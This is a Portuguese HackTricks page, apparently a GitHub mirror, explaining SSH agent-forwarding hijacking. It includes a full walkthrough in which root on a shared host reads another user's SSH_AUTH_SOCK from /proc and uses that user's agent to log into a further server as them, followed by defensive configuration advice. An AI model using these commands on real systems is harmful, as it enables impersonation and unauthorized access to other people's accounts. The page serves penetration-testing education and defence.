mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-27 13:33:37 +00:00
154 lines
12 KiB
Markdown
154 lines
12 KiB
Markdown
# Resumo
|
|
|
|
O que você pode fazer se descobrir dentro da configuração `/etc/ssh_config` ou dentro de `$HOME/.ssh/config` isso:
|
|
```
|
|
ForwardAgent yes
|
|
```
|
|
Se você é root dentro da máquina, provavelmente pode **acessar qualquer conexão ssh feita por qualquer agente** que você possa encontrar no diretório _/tmp_
|
|
|
|
Impersonate Bob usando um dos ssh-agent de Bob:
|
|
```bash
|
|
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
|
```
|
|
## Por que isso funciona?
|
|
|
|
Quando você define a variável `SSH_AUTH_SOCK`, você está acessando as chaves de Bob que foram usadas na conexão ssh de Bob. Então, se sua chave privada ainda estiver lá (normalmente estará), você poderá acessar qualquer host usando-a.
|
|
|
|
Como a chave privada é salva na memória do agente sem criptografia, suponho que se você for Bob, mas não souber a senha da chave privada, ainda poderá acessar o agente e usá-lo.
|
|
|
|
Outra opção é que o usuário proprietário do agente e o root possam acessar a memória do agente e extrair a chave privada.
|
|
|
|
# Explicação longa e exploração
|
|
|
|
**Retirado de:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
|
|
|
## **Quando ForwardAgent não pode ser confiável**
|
|
|
|
O SSH sem senhas torna a vida com sistemas operacionais semelhantes ao Unix muito mais fácil. Se sua rede requer sessões ssh encadeadas (para acessar uma rede restrita, por exemplo), o encaminhamento do agente se torna extremamente útil. Com o encaminhamento do agente, é possível para mim conectar do meu laptop ao meu servidor de desenvolvimento e de lá executar um checkout svn de outro servidor, tudo sem senhas, mantendo minha chave privada segura em minha estação de trabalho local.
|
|
|
|
Isso pode ser perigoso, no entanto. Uma rápida pesquisa na web revelará vários artigos indicando que isso só é seguro se os hosts intermediários forem confiáveis. Raramente, no entanto, você encontrará uma explicação do _porquê_ é perigoso.
|
|
|
|
É para isso que este artigo serve. Mas primeiro, um pouco de contexto.
|
|
|
|
## **Como funciona a autenticação sem senha**
|
|
|
|
Ao autenticar no modo normal, o SSH usa sua senha para provar que você é quem diz ser. O servidor compara um hash desta senha com um que ele tem em arquivo, verifica se os hashes correspondem e permite que você entre.
|
|
|
|
Se um invasor conseguir quebrar a criptografia usada para proteger sua senha enquanto ela está sendo enviada para o servidor, ele pode roubá-la e fazer login como você sempre que desejar. Se um invasor puder realizar centenas de milhares de tentativas, ele eventualmente poderá adivinhar sua senha.
|
|
|
|
Um método de autenticação muito mais seguro é a [autenticação de chave pública](http://www.ibm.com/developerworks/library/l-keyc/index.html), uma maneira de fazer login sem senha. A autenticação de chave pública requer um par correspondente de chaves pública e privada. A chave pública criptografa mensagens que só podem ser descriptografadas com a chave privada. O computador remoto usa sua cópia da sua chave pública para criptografar uma mensagem secreta para você. Você prova que é você descriptografando a mensagem usando sua chave privada e enviando a mensagem de volta para o computador remoto. Sua chave privada permanece segura em seu computador local o tempo todo, protegida contra ataques.
|
|
|
|
A chave privada é valiosa e deve ser protegida, portanto, por padrão, ela é armazenada em um formato criptografado. Infelizmente, isso significa inserir sua frase de senha antes de usá-la. Muitos artigos sugerem usar chaves privadas sem frase de senha (não criptografadas) para evitar esse inconveniente. Isso é uma má ideia, pois qualquer pessoa com acesso à sua estação de trabalho (por acesso físico, roubo ou hackeamento) agora também tem acesso gratuito a qualquer computador configurado com sua chave pública.
|
|
|
|
O OpenSSH inclui [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), um daemon que é executado em sua estação de trabalho local. Ele carrega uma cópia descriptografada de sua chave privada na memória, para que você só precise inserir sua frase de senha uma vez. Ele fornece um [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) local que o cliente ssh pode usar para pedir que ele descriptografe a mensagem criptografada enviada de volta pelo servidor remoto. Sua chave privada permanece segura no processo do ssh-agent, permitindo que você faça ssh sem digitar senhas.
|
|
|
|
## **Como ForwardAgent funciona**
|
|
|
|
Muitas tarefas exigem sessões ssh "encadeadas". Considere meu exemplo anterior: eu faço ssh do meu laptop para o servidor de desenvolvimento. Lá, preciso executar uma atualização svn, usando o protocolo "svn+ssh". Como seria bobo deixar uma cópia não criptografada da minha chave privada supersecreta em um servidor compartilhado, agora estou preso com autenticação por senha. No entanto, se eu habilitar "ForwardAgent" na configuração ssh em meu laptop, o ssh usa suas capacidades de tunelamento embutidas para criar outro socket no servidor de desenvolvimento que é tunelado de volta para o socket ssh-agent em minha estação de trabalho local. Isso significa que o cliente ssh no servidor de desenvolvimento agora pode enviar solicitações de "descriptografar esta mensagem secreta" diretamente de volta para o ssh-agent em execução em minha estação de trabalho, autenticando-se para o servidor svn sem nunca ter acesso à minha chave privada.
|
|
|
|
## **Por que isso pode ser perigoso**
|
|
|
|
Simplesmente, qualquer pessoa com privilégios de root no servidor intermediário pode fazer uso gratuito do seu ssh-agent para autenticá-los em outros servidores. Uma demonstração simples mostra o quão trivialmente isso pode ser feito. Os nomes de host e usuários foram alterados para proteger os inocentes.
|
|
|
|
Meu laptop está executando ssh-agent, que se comunica com os programas cliente ssh por meio de um socket. O caminho para este soquete é armazenado na variável de ambiente SSH\_AUTH\_SOCK:
|
|
```
|
|
mylaptop:~ env|grep SSH_AUTH_SOCK
|
|
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
|
|
|
|
mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
|
|
srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners
|
|
```
|
|
O programa [ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) nos permite visualizar e interagir com chaves no agente:
|
|
```
|
|
mylaptop:~ alice$ ssh-add -l
|
|
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
|
```
|
|
Eu tenho "ForwardAgent yes" no \~/.ssh/config no meu laptop. Então, o ssh vai criar um túnel conectando o socket local a um socket local no servidor remoto:
|
|
```
|
|
mylaptop:~ alice$ ssh seattle
|
|
|
|
seattle:~ $ env|grep SSH_AUTH_SOCK
|
|
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
|
|
```
|
|
Mesmo que minhas chaves não estejam instaladas em "seattle", os programas clientes ssh ainda são capazes de acessar o agente em execução na minha máquina local:
|
|
```
|
|
seattle:~ alice $ ssh-add -l
|
|
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
|
```
|
|
Então... com quem podemos mexer?
|
|
```
|
|
seattle:~ alice $ who
|
|
alice pts/0 2012-04-06 18:24 (office.example.com)
|
|
bob pts/1 2012-04-03 01:29 (office.example.com)
|
|
alice pts/3 2012-04-06 18:31 (office.example.com)
|
|
alice pts/5 2012-04-06 18:31 (office.example.com)
|
|
alice pts/6 2012-04-06 18:33 (office.example.com)
|
|
charlie pts/23 2012-04-06 13:10 (office.example.com)
|
|
charlie pts/27 2012-04-03 12:32 (office.example.com)
|
|
bob pts/29 2012-04-02 10:58 (office.example.com)
|
|
```
|
|
Eu nunca gostei do Bob. Para encontrar sua conexão de agente, eu preciso encontrar o processo filho de uma de suas sessões ssh:
|
|
```
|
|
seattle:~ alice $ sudo -s
|
|
[sudo] password for alice:
|
|
|
|
seattle:~ root # pstree -p bob
|
|
sshd(16816)───bash(16817)
|
|
|
|
sshd(25296)───bash(25297)───vim(14308)
|
|
```
|
|
Existem várias maneiras para o root visualizar o ambiente de um processo em execução. No Linux, os dados estão disponíveis em /proc/\<pid>/environ. Como eles são armazenados em strings terminadas em NULL, usarei o comando tr para converter os NULLs em novas linhas:
|
|
```
|
|
seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
|
|
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
|
|
```
|
|
Agora tenho tudo o que preciso saber para sequestrar o ssh-agent do Bob:
|
|
```
|
|
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
|
|
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
|
|
```
|
|
Se eu tiver um alvo específico em mente, agora devo ser capaz de me conectar diretamente. Caso contrário, apenas observar a lista de processos ou pesquisar no arquivo de histórico de Bob deve apresentar muitos alvos de oportunidade. Neste caso, eu sei que Bob tem todos os tipos de arquivos super secretos armazenados no servidor chamado "boston":
|
|
```
|
|
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
|
bob@boston:~$ whoami
|
|
bob
|
|
```
|
|
Consegui com sucesso usar meus privilégios de root em "Seattle" para acessar como Bob em "Boston". Aposto que posso usá-lo para demiti-lo.
|
|
|
|
## **Proteja-se!**
|
|
|
|
Não permita que seu ssh-agent armazene suas chaves indefinidamente. No OS X, configure sua Keychain para bloquear após inatividade ou quando a tela é bloqueada. Em outras plataformas Unix, passe a opção -t para ssh-agent para que suas chaves sejam removidas após segundos.
|
|
|
|
Não habilite o encaminhamento do agente ao se conectar a hosts não confiáveis. Felizmente, a sintaxe \~/.ssh/config torna isso bastante simples:
|
|
```
|
|
Host trustworthyhost
|
|
ForwardAgent yes
|
|
```
|
|
|
|
```
|
|
Host *
|
|
ForwardAgent no
|
|
```
|
|
## **Leitura recomendada**
|
|
|
|
* [Gerenciamento de chaves OpenSSH](http://www.ibm.com/developerworks/library/l-keyc/index.html) - Daniel Robbins
|
|
* [Um guia ilustrado para o encaminhamento do agente SSH](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) - Steve Friedl
|
|
* [Manual do ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
|
|
* [Manual do ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
|
|
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|